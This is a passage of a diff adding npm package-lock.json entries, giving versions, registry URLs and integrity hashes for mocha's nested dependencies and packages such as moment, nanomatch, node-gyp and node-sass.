"sha512-PYeGSEmmHM6zvoef2w8TPzlrnNpXIjTipYK780YswmIP9vjxmd6Y2a3CB2Ks6/AU8NHjZugXvo8w3oWM2qnwXA==", + "dev": true, + "dependencies": { + "string-width": "^3.1.0", + "strip-ansi": "^5.2.0", + "wrap-ansi": "^5.1.0" + } + }, + "node_modules/mocha/node_modules/color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "dev": true, + "dependencies": { + "color-name": "1.1.3" + } + }, + "node_modules/mocha/node_modules/debug": { + "version": "3.2.6", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.6.tgz", + "integrity": "sha512-mel+jf7nrtEl5Pn1Qx46zARXKDpBbvzezse7p7LqINmdoIk8PYP5SySaxEmYv6TZ0JyEKA1hsCId6DIhgITtWQ==", + "deprecated": "Debug versions >=3.2.0 <3.2.7 || >=4 <4.3.1 have a low-severity ReDos regression when used in a Node.js environment. It is recommended you upgrade to 3.2.7 or 4.3.1. (https://github.com/visionmedia/debug/issues/797)", + "dev": true, + "dependencies": { + "ms": "^2.1.1" + } + }, + "node_modules/mocha/node_modules/emoji-regex": { + "version": "7.0.3", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-7.0.3.tgz", + "integrity": "sha512-CwBLREIQ7LvYFB0WyRvwhq5N5qPhc6PMjD6bYggFlI5YyDgl+0vxq5VHbMOFqLg7hfWzmu8T5Z1QofhmTIhItA==", + "dev": true + }, + "node_modules/mocha/node_modules/esprima": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", + "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", + "dev": true, + "bin": { + "esparse": "bin/esparse.js", + "esvalidate": "bin/esvalidate.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/mocha/node_modules/find-up": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz", + "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==", + "dev": true, + "dependencies": { + "locate-path": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/mocha/node_modules/get-caller-file": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", + "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", + "dev": true, + "engines": { + "node": "6.* || 8.* || >= 10.*" + } + }, + "node_modules/mocha/node_modules/glob": { + "version": "7.1.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.3.tgz", + "integrity": "sha512-vcfuiIxogLV4DlGBHIUOwI0IbrJ8HWPc4MU7HzviGeNho/UJDfi6B5p3sHeWIQ0KGIU0Jpxi5ZHxemQfLkkAwQ==", + "dev": true, + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + } + }, + "node_modules/mocha/node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/mocha/node_modules/is-fullwidth-code-point": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", + "integrity": "sha512-VHskAKYM8RfSFXwee5t5cbN5PZeq1Wrh6qd5bkyiXIf6UQcN6w/A0eXM9r6t8d+GYOh+o6ZhiEnb88LN/Y8m2w==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/mocha/node_modules/js-yaml": { + "version": "3.13.1", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.13.1.tgz", + "integrity": "sha512-YfbcO7jXDdyj0DGxYVSlSeQNHbD7XPWvrVWeVUujrQEoZzWJIRrCPoyk6kL6IAjAG2IolMK4T0hNUe0HOUs5Jw==", + "dev": true, + "dependencies": { + "argparse": "^1.0.7", + "esprima": "^4.0.0" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/mocha/node_modules/locate-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz", + "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==", + "dev": true, + "dependencies": { + "p-locate": "^3.0.0", + "path-exists": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/mocha/node_modules/mkdirp": { + "version": "0.5.4", + "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.4.tgz", + "integrity": "sha512-iG9AK/dJLtJ0XNgTuDbSyNS3zECqDlAhnQW4CsNxBG3LQJBbHmRX1egw39DmtOdCAqY+dKXV+sgPgilNWUKMVw==", + "deprecated": "Legacy versions of mkdirp are no longer supported. Please update to mkdirp 1.x. (Note that the API surface has changed to use Promises in 1.x.)", + "dev": true, + "dependencies": { + "minimist": "^1.2.5" + }, + "bin": { + "mkdirp": "bin/cmd.js" + } + }, + "node_modules/mocha/node_modules/ms": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.1.tgz", + "integrity": "sha512-tgp+dl5cGk28utYktBsrFqA7HKgrhgPsg6Z/EfhWI4gl1Hwq8B/GmY/0oXZ6nF8hDVesS/FpnYaD/kOWhYQvyg==", + "dev": true + }, + "node_modules/mocha/node_modules/p-limit": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", + "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "dev": true, + "dependencies": { + "p-try": "^2.0.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/mocha/node_modules/p-locate": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz", + "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==", + "dev": true, + "dependencies": { + "p-limit": "^2.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/mocha/node_modules/p-try": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz", + "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/mocha/node_modules/path-exists": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz", + "integrity": "sha512-bpC7GYwiDYQ4wYLe+FA8lhRjhQCMcQGuSgGGqDkg/QerRWw9CmGRT0iSOVRSZJ29NMLZgIzqaljJ63oaL4NIJQ==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/mocha/node_modules/require-main-filename": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/require-main-filename/-/require-main-filename-2.0.0.tgz", + "integrity": "sha512-NKN5kMDylKuldxYLSUfrbo5Tuzh4hd+2E8NPPX02mZtn1VuREQToYe/ZdlJy+J3uCpfaiGF05e7B8W0iXbQHmg==", + "dev": true + }, + "node_modules/mocha/node_modules/string-width": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-3.1.0.tgz", + "integrity": "sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==", + "dev": true, + "dependencies": { + "emoji-regex": "^7.0.1", + "is-fullwidth-code-point": "^2.0.0", + "strip-ansi": "^5.1.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/mocha/node_modules/strip-ansi": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz", + "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==", + "dev": true, + "dependencies": { + "ansi-regex": "^4.1.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/mocha/node_modules/supports-color": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-6.0.0.tgz", + "integrity": "sha512-on9Kwidc1IUQo+bQdhi8+Tijpo0e1SS6RoGo2guUwn5vdaxw8RXOF9Vb2ws+ihWOmh4JnCJOvaziZWP1VABaLg==", + "dev": true, + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/mocha/node_modules/which-module": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/which-module/-/which-module-2.0.0.tgz", + "integrity": "sha512-B+enWhmw6cjfVC7kS8Pj9pCrKSc5txArRyaYGe088shv/FGWH+0Rjx/xPgtsWfsUtS27FkP697E4DDhgrgoc0Q==", + "dev": true + }, + "node_modules/mocha/node_modules/wrap-ansi": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-5.1.0.tgz", + "integrity": "sha512-QC1/iN/2/RPVJ5jYK8BGttj5z83LmSKmvbvrXPNCLZSEb32KKVDJDl/MOt2N01qU2H/FkzEa9PKto1BqDjtd7Q==", + "dev": true, + "dependencies": { + "ansi-styles": "^3.2.0", + "string-width": "^3.0.0", + "strip-ansi": "^5.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/mocha/node_modules/y18n": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.3.tgz", + "integrity": "sha512-JKhqTOwSrqNA1NY5lSztJ1GrBiUodLMmIZuLiDaMRJ+itFd+ABVE8XBjOvIWL+rSqNDC74LCSFmlb/U4UZ4hJQ==", + "dev": true + }, + "node_modules/mocha/node_modules/yargs": { + "version": "13.3.2", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-13.3.2.tgz", + "integrity": "sha512-AX3Zw5iPruN5ie6xGRIDgqkT+ZhnRlZMLMHAs8tg7nRruy2Nb+i5o9bwghAogtM08q1dpr2LVoS8KSTMYpWXUw==", + "dev": true, + "dependencies": { + "cliui": "^5.0.0", + "find-up": "^3.0.0", + "get-caller-file": "^2.0.1", + "require-directory": "^2.1.1", + "require-main-filename": "^2.0.0", + "set-blocking": "^2.0.0", + "string-width": "^3.0.0", + "which-module": "^2.0.0", + "y18n": "^4.0.0", + "yargs-parser": "^13.1.2" + } + }, + "node_modules/mocha/node_modules/yargs-parser": { + "version": "13.1.2", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-13.1.2.tgz", + "integrity": "sha512-3lbsNRf/j+A4QuSZfDRA7HRSfWrzO0YjqTJd5kjAq37Zep1CEgaYmrH9Q3GwPiB9cHyd1Y1UwggGhJGoxipbzg==", + "dev": true, + "dependencies": { + "camelcase": "^5.0.0", + "decamelize": "^1.2.0" + } + }, + "node_modules/module-deps": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/module-deps/-/module-deps-6.1.0.tgz", + "integrity": "sha512-NPs5N511VD1rrVJihSso/LiBShRbJALYBKzDW91uZYy7BpjnO4bGnZL3HjZ9yKcFdZUWwaYjDz9zxbuP7vKMuQ==", + "dev": true, + "dependencies": { + "browser-resolve": "^1.7.0", + "cached-path-relative": "^1.0.0", + "concat-stream": "~1.6.0", + "defined": "^1.0.0", + "detective": "^5.0.2", + "duplexer2": "^0.1.2", + "inherits": "^2.0.1", + "JSONStream": "^1.0.3", + "parents": "^1.0.0", + "readable-stream": "^2.0.2", + "resolve": "^1.4.0", + "stream-combiner2": "^1.1.1", + "subarg": "^1.0.0", + "through2": "^2.0.0", + "xtend": "^4.0.0" + }, + "bin": { + "module-deps": "bin/cmd.js" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/module-deps/node_modules/concat-stream": { + "version": "1.6.2", + "resolved": "https://registry.npmjs.org/concat-stream/-/concat-stream-1.6.2.tgz", + "integrity": "sha512-27HBghJxjiZtIk3Ycvn/4kbJk/1uZuJFfuPEns6LaEvpvG1f0hTea8lilrouyo9mVc2GWdcEZ8OLoGmSADlrCw==", + "dev": true, + "engines": [ + "node >= 0.8" + ], + "dependencies": { + "buffer-from": "^1.0.0", + "inherits": "^2.0.3", + "readable-stream": "^2.2.2", + "typedarray": "^0.0.6" + } + }, + "node_modules/moment": { + "version": "2.22.2", + "resolved": "https://registry.npmjs.org/moment/-/moment-2.22.2.tgz", + "integrity": "sha1-PCV/mDn8DpP/UxSWMiOeuQeD/2Y=", + "engines": { + "node": "*" + } + }, + "node_modules/moment-timezone": { + "version": "0.5.21", + "resolved": "https://registry.npmjs.org/moment-timezone/-/moment-timezone-0.5.21.tgz", + "integrity": "sha512-j96bAh4otsgj3lKydm3K7kdtA3iKf2m6MY2iSYCzCm5a1zmHo1g+aK3068dDEeocLZQIS9kU8bsdQHLqEvgW0A==", + "dependencies": { + "moment": ">= 2.9.0" + }, + "engines": { + "node": "*" + } + }, + "node_modules/move-concurrently": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/move-concurrently/-/move-concurrently-1.0.1.tgz", + "integrity": "sha1-viwAX9oy4LKa8fBdfEszIUxwH5I=", + "dev": true, + "dependencies": { + "aproba": "^1.1.1", + "copy-concurrently": "^1.0.0", + "fs-write-stream-atomic": "^1.0.8", + "mkdirp": "^0.5.1", + "rimraf": "^2.5.4", + "run-queue": "^1.0.3" + } + }, + "node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" + }, + "node_modules/mute-stream": { + "version": "0.0.7", + "resolved": "https://registry.npmjs.org/mute-stream/-/mute-stream-0.0.7.tgz", + "integrity": "sha1-MHXOk7whuPq0PhvE2n6BFe0ee6s=", + "dev": true + }, + "node_modules/nan": { + "version": "2.9.2", + "resolved": "https://registry.npmjs.org/nan/-/nan-2.9.2.tgz", + "integrity": "sha512-ltW65co7f3PQWBDbqVvaU1WtFJUsNW7sWWm4HINhbMQIyVyzIeyZ8toX5TC5eeooE6piZoaEh4cZkueSKG3KYw==", + "dev": true, + "optional": true + }, + "node_modules/nanomatch": { + "version": "1.2.13", + "resolved": "https://registry.npmjs.org/nanomatch/-/nanomatch-1.2.13.tgz", + "integrity": "sha512-fpoe2T0RbHwBTBUOftAfBPaDEi06ufaUai0mE6Yn1kacc3SnTErfb/h+X94VXzI64rKFHYImXSvdwGGCmwOqCA==", + "dependencies": { + "arr-diff": "^4.0.0", + "array-unique": "^0.3.2", + "define-property": "^2.0.2", + "extend-shallow": "^3.0.2", + "fragment-cache": "^0.2.1", + "is-windows": "^1.0.2", + "kind-of": "^6.0.2", + "object.pick": "^1.3.0", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/nanomatch/node_modules/arr-diff": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-4.0.0.tgz", + "integrity": "sha1-1kYQdP6/7HHn4VI1dhoyml3HxSA=", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/nanomatch/node_modules/array-unique": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.3.2.tgz", + "integrity": "sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg=", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/nanomatch/node_modules/kind-of": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz", + "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/natural-compare": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz", + "integrity": "sha1-Sr6/7tdUHywnrPspvbvRXI1bpPc=", + "dev": true + }, + "node_modules/negotiator": { + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.3.tgz", + "integrity": "sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==", + "peer": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/neo-async": { + "version": "2.5.1", + "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.5.1.tgz", + "integrity": "sha512-3KL3fvuRkZ7s4IFOMfztb7zJp3QaVWnBeGoJlgB38XnCRPj/0tLzzLG5IB8NYOHbJ8g8UGrgZv44GLDk6CxTxA==" + }, + "node_modules/nested-error-stacks": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/nested-error-stacks/-/nested-error-stacks-2.0.1.tgz", + "integrity": "sha512-SrQrok4CATudVzBS7coSz26QRSmlK9TzzoFbeKfcPBUFPjcQM9Rqvr/DlJkOrwI/0KcgvMub1n1g5Jt9EgRn4A==", + "dev": true + }, + "node_modules/next-tick": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/next-tick/-/next-tick-1.0.0.tgz", + "integrity": "sha1-yobR/ogoFpsBICCOPchCS524NCw=", + "dev": true + }, + "node_modules/nice-try": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/nice-try/-/nice-try-1.0.5.tgz", + "integrity": "sha512-1nh45deeb5olNY7eX82BkPO7SSxR5SSYJiPTrTdFUVYwAl8CKMA5N9PjTYkHiRjisVcxcQ1HXdLhx2qxxJzLNQ==" + }, + "node_modules/nocache": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/nocache/-/nocache-3.0.4.tgz", + "integrity": "sha512-WDD0bdg9mbq6F4mRxEYcPWwfA1vxd0mrvKOyxI7Xj/atfRHVeutzuWByG//jfm4uPzp0y4Kj051EORCBSQMycw==", + "peer": true, + "engines": { + "node": ">=12.0.0" + } + }, + "node_modules/node-abi": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/node-abi/-/node-abi-2.3.0.tgz", + "integrity": "sha512-zwm6vU3SsVgw3e9fu48JBaRBCJGIvAgysDsqtf5+vEexFE71bEOtaMWb5zr/zODZNzTPtQlqUUpC79k68Hspow==", + "dev": true, + "optional": true, + "dependencies": { + "semver": "^5.4.1" + } + }, + "node_modules/node-dir": { + "version": "0.1.17", + "resolved": "https://registry.npmjs.org/node-dir/-/node-dir-0.1.17.tgz", + "integrity": "sha512-tmPX422rYgofd4epzrNoOXiE8XFZYOcCq1vD7MAXCDO+O+zndlA2ztdKKMa+EeuBG5tHETpr4ml4RGgpqDCCAg==", + "peer": true, + "dependencies": { + "minimatch": "^3.0.2" + }, + "engines": { + "node": ">= 0.10.5" + } + }, + "node_modules/node-environment-flags": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/node-environment-flags/-/node-environment-flags-1.0.5.tgz", + "integrity": "sha512-VNYPRfGfmZLx0Ye20jWzHUjyTW/c+6Wq+iLhDzUI4XmhrDd9l/FozXV3F2xOaXjvp0co0+v1YSR3CMP6g+VvLQ==", + "dev": true, + "dependencies": { + "object.getownpropertydescriptors": "^2.0.3", + "semver": "^5.7.0" + } + }, + "node_modules/node-fetch": { + "version": "1.7.3", + "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-1.7.3.tgz", + "integrity": "sha512-NhZ4CsKx7cYm2vSrBAr2PvFOe6sWDf0UYLRqA6svUYg7+/TSfVAu49jYC4BvQ4Sms9SZgdqGBgroqfDhJdTyKQ==", + "dependencies": { + "encoding": "^0.1.11", + "is-stream": "^1.0.1" + } + }, + "node_modules/node-gyp": { + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/node-gyp/-/node-gyp-3.6.2.tgz", + "integrity": "sha1-m/vlRWIoYoSDjnUOrAUpWFP6HGA=", + "dev": true, + "optional": true, + "dependencies": { + "fstream": "^1.0.0", + "glob": "^7.0.3", + "graceful-fs": "^4.1.2", + "minimatch": "^3.0.2", + "mkdirp": "^0.5.0", + "nopt": "2 || 3", + "npmlog": "0 || 1 || 2 || 3 || 4", + "osenv": "0", + "request": "2", + "rimraf": "2", + "semver": "~5.3.0", + "tar": "^2.0.0", + "which": "1" + }, + "bin": { + "node-gyp": "bin/node-gyp.js" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/node-gyp/node_modules/glob": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", + "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", + "dev": true, + "optional": true, + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + } + }, + "node_modules/node-gyp/node_modules/semver": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.3.0.tgz", + "integrity": "sha1-myzl094C0XxgEq0yaqa00M9U+U8=", + "dev": true, + "optional": true, + "bin": { + "semver": "bin/semver" + } + }, + "node_modules/node-int64": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/node-int64/-/node-int64-0.4.0.tgz", + "integrity": "sha512-O5lz91xSOeoXP6DulyHfllpq+Eg00MWitZIbtPfoSEvqIHdl5gfcY6hYzDWnj0qD5tz52PI08u9qUvSVeUBeHw==", + "peer": true + }, + "node_modules/node-libs-browser": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/node-libs-browser/-/node-libs-browser-2.1.0.tgz", + "integrity": "sha512-5AzFzdoIMb89hBGMZglEegffzgRg+ZFoUmisQ8HI4j1KDdpx13J0taNp2y9xPbur6W61gepGDDotGBVQ7mfUCg==", + "dev": true, + "dependencies": { + "assert": "^1.1.1", + "browserify-zlib": "^0.2.0", + "buffer": "^4.3.0", + "console-browserify": "^1.1.0", + "constants-browserify": "^1.0.0", + "crypto-browserify": "^3.11.0", + "domain-browser": "^1.1.1", + "events": "^1.0.0", + "https-browserify": "^1.0.0", + "os-browserify": "^0.3.0", + "path-browserify": "0.0.0", + "process": "^0.11.10", + "punycode": "^1.2.4", + "querystring-es3": "^0.2.0", + "readable-stream": "^2.3.3", + "stream-browserify": "^2.0.1", + "stream-http": "^2.7.2", + "string_decoder": "^1.0.0", + "timers-browserify": "^2.0.4", + "tty-browserify": "0.0.0", + "url": "^0.11.0", + "util": "^0.10.3", + "vm-browserify": "0.0.4" + } + }, + "node_modules/node-libs-browser/node_modules/process-nextick-args": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz", + "integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw==", + "dev": true + }, + "node_modules/node-libs-browser/node_modules/readable-stream": { + "version": "2.3.6", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", + "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", + "dev": true, + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "node_modules/node-libs-browser/node_modules/string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "dev": true, + "dependencies": { + "safe-buffer": "~5.1.0" + } + }, + "node_modules/node-libs-browser/node_modules/timers-browserify": { + "version": "2.0.10", + "resolved": "https://registry.npmjs.org/timers-browserify/-/timers-browserify-2.0.10.tgz", + "integrity": "sha512-YvC1SV1XdOUaL6gx5CoGroT3Gu49pK9+TZ38ErPldOWW4j49GI1HKs9DV+KGq/w6y+LZ72W1c8cKz2vzY+qpzg==", + "dev": true, + "dependencies": { + "setimmediate": "^1.0.4" + }, + "engines": { + "node": ">=0.6.0" + } + }, + "node_modules/node-releases": { + "version": "1.0.0-alpha.10", + "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-1.0.0-alpha.10.tgz", + "integrity": "sha512-BSQrRgOfN6L/MoKIa7pRUc7dHvflCXMcqyTBvphixcSsgJTuUd24vAFONuNfVsuwTyz28S1HEc9XN6ZKylk4Hg==", + "dev": true, + "dependencies": { + "semver": "^5.3.0" + } + }, + "node_modules/node-sass": { + "version": "4.13.1", + "resolved": "https://registry.npmjs.org/node-sass/-/node-sass-4.13.1.tgz", + "integrity": "sha512-TTWFx+ZhyDx1Biiez2nB0L3YrCZ/8oHagaDalbuBSlqXgUPsdkUSzJsVxeDO9LtPB49+Fh3WQl3slABo6AotNw==", + "dev": true, + "hasInstallScript": true, + "dependencies": { + "async-foreach": "^0.1.3", + "chalk": "^1.1.1", + "cross-spawn": "^3.0.0", + "gaze": "^1.0.0", + "get-stdin": "^4.0.1", + "glob": "^7.0.3", + "in-publish": "^2.0.0", + "lodash": "^4.17.15", + "meow": "^3.7.0", + "mkdirp": "^0.5.1", + "nan": "^2.13.2", + "node-gyp": "^3.8.0", + "npmlog": "^4.0.0", + "request": "^2.88.0", + "sass-graph": "^2.2.4", + "stdout-stream": "^1.4.0", + "true-case-path": "^1.0.2" + }, + "bin": { + "node-sass": "bin/node-sass" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/node-sass/node_modules/ajv": { + "version": "6.11.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.11.0.tgz", + "integrity": "sha512-nCprB/0syFYy9fVYU1ox1l2KN8S9I+tziH8D4zdZuLT3N6RMlGSGt5FSTpAiHB/Whv8Qs1cWHma1aMKZyaHRKA==", + "dev": true, + "dependencies": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + } + }, + "node_modules/node-sass/node_modules/aws4": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.9.1.tgz", + "integrity": "sha512-wMHVg2EOHaMRxbzgFJ9gtjOOCrI80OHLG14rxi28XwOW8ux6IiEbRCGGGqCtdAIg4FQCbW20k9RsT4y3gJlFug==", + "dev": true + }, + "node_modules/node-sass/node_modules/cross-spawn": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-3.0.1.tgz", + "integrity": "sha1-ElYDfsufDF9549bvE14wdwGEuYI=", + "dev": true, + "dependencies": { + "lru-cache": "^4.0.1", + "which": "^1.2.9" + } + }, + "node_modules/node-sass/node_modules/extend": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz", + "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==", + "dev": true + }, + "node_modules/node-sass/node_modules/fast-deep-equal": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.1.tgz", + "integrity": "sha512-8UEa58QDLauDNfpbrX55Q9jrGHThw2ZMdOky5Gl1CDtVeJDPVrG4Jxx1N8jw2gkWaff5UUuX1KJd+9zGe2B+ZA==", + "dev": true + }, + "node_modules/node-sass/node_modules/har-validator": { + "version": "5.1.3", + "resolved": "https://registry.npmjs.org/har-validator/-/har-validator-5.1.3.tgz", + "integrity": "sha512-sNvOCzEQNr/qrvJgc3UG/kD4QtlHycrzwS+6mfTrrSq97BvaYcPZZI1ZSqGSPR73Cxn4LKTD4PttRwfU7jWq5g==", + "deprecated": "this library is no longer supported", + "dev": true, + "dependencies": { + "ajv": "^6.5.5", + "har-schema": "^2.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/node-sass/node_modules/json-schema-traverse": { + "version": 